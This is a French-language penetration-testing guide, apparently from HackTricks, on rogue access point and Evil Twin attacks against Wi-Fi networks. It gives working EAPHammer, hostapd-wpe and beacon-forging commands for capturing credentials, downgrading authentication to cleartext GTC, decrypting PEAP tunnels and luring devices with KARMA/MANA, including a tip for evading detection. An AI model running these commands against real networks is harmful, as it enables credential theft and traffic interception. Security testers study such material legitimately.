Dans le fichier de configuration, vous pouvez sélectionner différentes choses telles que ssid, canal, fichiers utilisateur, cret/clé, paramètres dh, version wpa et auth...

Utilisation de hostapd-wpe avec EAP-TLS pour permettre à n'importe quel certificat de se connecter.

Utilisation d'EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Par défaut, EAPHammer propose ces méthodes d'authentification (remarquez que GTC est le premier à essayer d'obtenir des mots de passe en clair, suivi de l'utilisation de méthodes d'authentification plus robustes) :

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Ceci est la méthodologie par défaut pour éviter les longs temps de connexion. Cependant, vous pouvez également spécifier au serveur les méthodes d'authentification de la plus faible à la plus forte:

--negotiate weakest

Ou vous pourriez également utiliser :

  • --negotiate gtc-downgrade pour utiliser une implémentation de rétrogradation GTC hautement efficace (mots de passe en clair)

  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP pour spécifier manuellement les méthodes offertes (en offrant les mêmes méthodes d'authentification dans le même ordre que l'organisation, l'attaque sera beaucoup plus difficile à détecter).

Utilisation d'Airgeddon

Airgeddon peut utiliser des certificats générés précédemment pour offrir une authentification EAP aux réseaux WPA/WPA2-Entreprise. Le faux réseau rétrogradera le protocole de connexion en EAP-MD5 afin de capturer l'utilisateur et le MD5 du mot de passe. Ensuite, l'attaquant peut essayer de craquer le mot de passe. Airggedon vous offre la possibilité d'une attaque Evil Twin continue (bruyante) ou de créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (discrète).

Débogage des tunnels TLS PEAP et EAP-TTLS dans les attaques Evil Twins

Cette méthode a été testée dans une connexion PEAP mais comme je déchiffre un tunnel TLS arbitraire, cela devrait également fonctionner avec EAP-TTLS

À l'intérieur de la configuration de hostapd-wpe, commentez la ligne contenant dh_file (de dh_file=/etc/hostapd-wpe/certs/dh à #dh_file=/etc/hostapd-wpe/certs/dh) Cela fera en sorte que hostapd-wpe échange les clés en utilisant RSA au lieu de DH, vous pourrez donc déchiffrer le trafic ultérieurement en connaissant la clé privée du serveur.

Maintenant, démarrez l'Evil Twin en utilisant hostapd-wpe avec cette configuration modifiée comme d'habitude. Démarrez également wireshark sur l'interface qui effectue l'attaque Evil Twin.

Maintenant ou plus tard (lorsque vous avez déjà capturé quelques tentatives d'authentification), vous pouvez ajouter la clé privée RSA à wireshark dans : Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : Adresse IP = any -- Port = 0 -- Protocole = data -- Fichier clé (sélectionnez votre fichier clé, pour éviter les problèmes, sélectionnez un fichier clé non protégé par mot de passe).

Et regardez l'onglet "TLS déchiffré" :

Attaque KARMA, MANA, Loud MANA et beacons connus

Listes noires/blanches ESSID et MAC

Différents types de listes de filtres de contrôle d'accès aux médias (MFACLs) et leurs modes correspondants et leurs effets sur le comportement d'un Point d'Accès (AP) malveillant :

  1. Liste blanche basée sur MAC :

  • Le rogue AP répondra uniquement aux demandes de sondage des appareils spécifiés dans la liste blanche, restant invisible pour tous les autres non répertoriés.

  1. Liste noire basée sur MAC :

  • Le rogue AP ignorera les demandes de sondage des appareils figurant sur la liste noire, rendant effectivement le rogue AP invisible pour ces appareils spécifiques.

  1. Liste blanche basée sur SSID :

  • Le rogue AP répondra uniquement aux demandes de sondage pour des ESSIDs spécifiques répertoriés, le rendant invisible pour les appareils dont les listes de réseaux préférés (PNLs) ne contiennent pas ces ESSIDs.

  1. Liste noire basée sur SSID :

  • Le rogue AP ne répondra pas aux demandes de sondage pour les ESSIDs spécifiques sur la liste noire, le rendant invisible pour les appareils recherchant ces réseaux particuliers.

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Cette méthode permet à un attaquant de créer un point d'accès malveillant (AP) qui répond à toutes les demandes de sondes des appareils cherchant à se connecter à des réseaux. Cette technique trompe les appareils en les incitant à se connecter à l'AP de l'attaquant en imitant les réseaux recherchés par les appareils. Une fois qu'un appareil envoie une demande de connexion à cet AP frauduleux, la connexion est établie, amenant l'appareil à se connecter par erreur au réseau de l'attaquant.

MANA

Ensuite, les appareils ont commencé à ignorer les réponses de réseau non sollicitées, réduisant l'efficacité de l'attaque karma originale. Cependant, une nouvelle méthode, connue sous le nom d'attaque MANA, a été introduite par Ian de Villiers et Dominic White. Cette méthode implique que le rogue AP capture les listes de réseaux préférés (PNL) des appareils en répondant à leurs demandes de sondes de diffusion avec les noms de réseaux (SSIDs) précédemment sollicités par les appareils. Cette attaque sophistiquée contourne les protections contre l'attaque karma originale en exploitant la manière dont les appareils se souviennent et priorisent les réseaux connus.

L'attaque MANA fonctionne en surveillant à la fois les demandes de sondes dirigées et de diffusion des appareils. Pour les demandes dirigées, elle enregistre l'adresse MAC de l'appareil et le nom du réseau demandé, ajoutant ces informations à une liste. Lorsqu'une demande de diffusion est reçue, l'AP répond avec des informations correspondant à l'un des réseaux de la liste de l'appareil, incitant l'appareil à se connecter au rogue AP.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Attaque Loud MANA

Une attaque Loud MANA est une stratégie avancée pour les cas où les appareils n'utilisent pas de sondage dirigé ou lorsque leurs listes de réseaux préférés (PNL) sont inconnues de l'attaquant. Elle repose sur le principe que les appareils dans la même zone ont probablement des noms de réseau en commun dans leurs PNL. Au lieu de répondre de manière sélective, cette attaque diffuse des réponses de sondes pour chaque nom de réseau (ESSID) trouvé dans les PNL combinées de tous les appareils observés. Cette approche large augmente la chance qu'un appareil reconnaisse un réseau familier et tente de se connecter au point d'accès (AP) frauduleux.

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Attaque de balise connue

Lorsque l'attaque Loud MANA ne suffit pas, l'attaque de balise connue présente une autre approche. Cette méthode force la connexion en simulant un point d'accès qui répond à tout nom de réseau, en parcourant une liste d'ESSIDs potentiels dérivés d'une liste de mots. Cela simule la présence de nombreux réseaux, espérant correspondre à un ESSID dans la liste des réseaux préférés de la victime, incitant une tentative de connexion à l'AP fabriqué. L'attaque peut être amplifiée en la combinant avec l'option --loud pour une tentative plus agressive d'attirer les appareils.

Eaphammer a implémenté cette attaque en tant qu'attaque MANA où tous les ESSIDs dans une liste sont chargés (vous pouvez également combiner cela avec --loud pour créer une attaque Loud MANA + balises connues) :

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Attaque de rafale de balises connue

L'attaque de rafale de balises connue implique la diffusion rapide de trames de balises pour chaque ESSID répertorié dans un fichier. Cela crée un environnement dense de réseaux factices, augmentant considérablement la probabilité que les appareils se connectent au point d'accès frauduleux, surtout lorsqu'elle est combinée à une attaque MANA. Cette technique exploite la vitesse et le volume pour submerger les mécanismes de sélection de réseau des appareils.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct est un protocole permettant aux appareils de se connecter directement les uns aux autres en utilisant le Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel. Cette capacité est intégrée à divers appareils de l'Internet des objets (IdO), tels que les imprimantes et les télévisions, facilitant la communication directe entre les appareils. Une caractéristique notable de Wi-Fi Direct est qu'un appareil prend le rôle d'un point d'accès, appelé le propriétaire du groupe, pour gérer la connexion.

La sécurité des connexions Wi-Fi Direct est établie grâce à Wi-Fi Protected Setup (WPS), qui prend en charge plusieurs méthodes d'appariement sécurisé, notamment :

  • Configuration par bouton-poussoir (PBC)

  • Saisie du code PIN

  • Communication en champ proche (NFC)

Ces méthodes, en particulier la saisie du code PIN, sont susceptibles aux mêmes vulnérabilités que le WPS dans les réseaux Wi-Fi traditionnels, ce qui en fait des cibles pour des vecteurs d'attaque similaires.

Détournement EvilDirect

Le détournement EvilDirect est une attaque spécifique au Wi-Fi Direct. Il reflète le concept d'une attaque Evil Twin mais cible les connexions Wi-Fi Direct. Dans ce scénario, un attaquant se fait passer pour un propriétaire de groupe légitime dans le but de tromper les appareils pour qu'ils se connectent à une entité malveillante. Cette méthode peut être exécutée en utilisant des outils comme airbase-ng en spécifiant le canal, l'ESSID et l'adresse MAC de l'appareil usurpé :

Références

TODO: Jetez un œil à https://github.com/wifiphisher/wifiphisher (connexion avec Facebook et imitation de WPA dans les portails captifs)

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !

Perspectives sur le piratage Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités sur le piratage en temps réel Restez informé du monde du piratage à rythme rapide grâce à des actualités et des informations en temps réel

Dernières annonces Restez informé des dernières primes au bug lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour